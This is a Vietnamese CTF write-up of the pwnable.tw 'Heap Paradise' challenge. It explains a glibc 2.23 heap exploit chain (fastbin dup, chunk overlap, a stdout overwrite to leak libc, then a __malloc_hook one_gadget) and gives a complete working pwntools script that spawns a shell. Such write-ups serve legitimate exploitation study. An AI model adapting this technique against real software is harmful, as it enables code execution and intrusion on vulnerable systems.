Heap Paradise
tl;dr: Chunk overlap, vừa trong unsortedbin, vừa trong fastbin; Partially overwrite ko cần leak libc; Ghi đè flags của stdout thành 0xfbad1800 và _IO_write_base để leak libc.
Recon
Mitigation
$ pwn checksec heap_paradise
[*] '/home/hungnt/pwnable.tw/heap-paradise/heap_paradise'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled$ file heap_paradise
heap_paradise: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0f2c77e0e0c4e37c78f827f6ae317e208bbb202a, strippedGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.23/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x70cd6c600000
/home/hungnt/pwnable.tw/heap-paradise/libc_64.so.6
ld is at: 0x70cd6ca00000
/home/hungnt/pwnable.tw/heap-paradise/ld-2.23.so
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesCode
main()
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 choice; // rax
setup(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_long();
if ( choice != 2 )
break;
free_();
}
if ( choice == 3 )
exit(0);
if ( choice == 1 )
allocate_();
else
puts("Invalid Choice !");
}
}allocate_()
int allocate_()
{
unsigned __int64 v0; // rax
int i; // [rsp+4h] [rbp-Ch]
unsigned int size; // [rsp+8h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 15 )
{
LODWORD(v0) = puts("You can't allocate anymore !");
return v0;
}
if ( !chunks[i] )
break;
}
printf("Size :");
v0 = read_long();
size = v0;
if ( v0 <= 0x78 )
{
chunks[i] = (char *)malloc(v0);
if ( !chunks[i] )
{
puts("Error!");
exit(-1);
}
printf("Data :");
LODWORD(v0) = (unsigned int)read_input(chunks[i], size);
}
return v0;
}free_()
void free_()
{
__int64 index; // [rsp+8h] [rbp-8h]
printf("Index :");
index = read_long();
if ( index <= 15 )
free(chunks[index]);
}Solve
Cái khó ở đây là FULL RELRO và PIE Enabled, và ko có chỗ nào để in dữ liệu cả. Mình ko biết địa chỉ binary hay libc.
Vậy ý tưởng của mình là lợi dụng việc ptmalloc ghi địa chỉ main_arena trong libc vào chunk đc đưa vào unsortedbin.
Vì mình có fastbins dup ở đây, mình muốn free một chunk vào fastbins, rồi tiếp tục free chunk đó vào unsortedbin để ptmalloc ghi địa chỉ main_arena vào fd/bk.

Lúc này chunk vừa nằm trong fastbins và unsortedbin, mình có thể cấp phát tới địa chỉ tuỳ ý xung quanh main_arena+88 bằng cách ghi đè 2 byte cuối của fd.
Nhưng bây giờ mình vẫn chưa leak đc địa chỉ gì cả. Nên ý tưởng là ghi đè vào stdout để printf() dump luôn ra địa chỉ libc.
Vì main_arena+88 kết thúc bằng 2 byte 0x3b78, mình ghi đè nó bằng 0x45dd để trỏ tới nơi có metadata hợp lệ, sau đó cấp phát ghi và ghi vào stdout.

Mình cần ghi 0xfbad1800 vào flags và ghi đè null byte vào cuối của write_base, thì printf() sẽ dump ra 0xa3 byte từ 0x75976f5c4600.

Có đc libc rồi, mình lại fastbins dup để ghi one_gadget vào malloc_hook rồi trigger malloc printerr là xog.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pd = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len
A = pd()
exe = ELF("heap_paradise_patched", checksec=False)
libc = ELF("libc_64.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10308
return remote(host, port)
p = conn()
def alloc(size, data):
slan(p, b'Choice', 1)
slan(p, b'Size', size)
sa(p, b'Data', data)
def free(index):
slan(p, b'Choice', 2)
slan(p, b'Index', index)
print("Setting up")
alloc(0x40, flat(z(0x38), 0x51)) # 0
alloc(0x40, flat(z(0x38), 0x21)) # 1
alloc(0x60, flat(z(0x18), 0x51, z(0x18), 0x31)) # 2
print("Chunk overlapping")
# Fastbins dup
free(0)
free(1)
free(0)
alloc(0x40, p8(0x40)) # 3
alloc(0x40, A) # 4
alloc(0x40, A) # 5
alloc(0x40, flat(0, 0x71)) # 6
free(1) # Free to fastbins
free(6)
alloc(0x40, flat(0, 0x91))
free(1) # Free to unsortedbins
free(6)
alloc(0x40, flat(0, 0x71) + p16(0x45dd))
alloc(0x60, A)
print("Leaking libc")
# stdout overwrite to leak libc
flags = 0xfbad1800
alloc(0x60, flat(z(0x33), flags, z(0x18 + 1)))
ru(p, p64(flags))
rn(p, 0x18)
libc.address = leak_bytes(rn(p, 6), 0x3c4600)
lg("libc base", libc.address)
print("Chunk overlapping")
# Fastbins dup
free(1)
free(2)
free(1)
print("Overwriting malloc hook")
# Overwrite malloc hook
malloc_hook = libc.symbols['__malloc_hook']
lg("malloc hook", malloc_hook)
one_gadget = libc.address + 0xef6c4
lg("one gadget", one_gadget)
alloc(0x60, p64(malloc_hook - 0x23))
alloc(0x60, A)
alloc(0x60, A)
alloc(0x60, flat(z(0x13), one_gadget))
print("Trigger malloc printerr")
# Malloc printerr
free(0)
free(0)
print("Spawn shell")
rr(p, 1)
ia(p)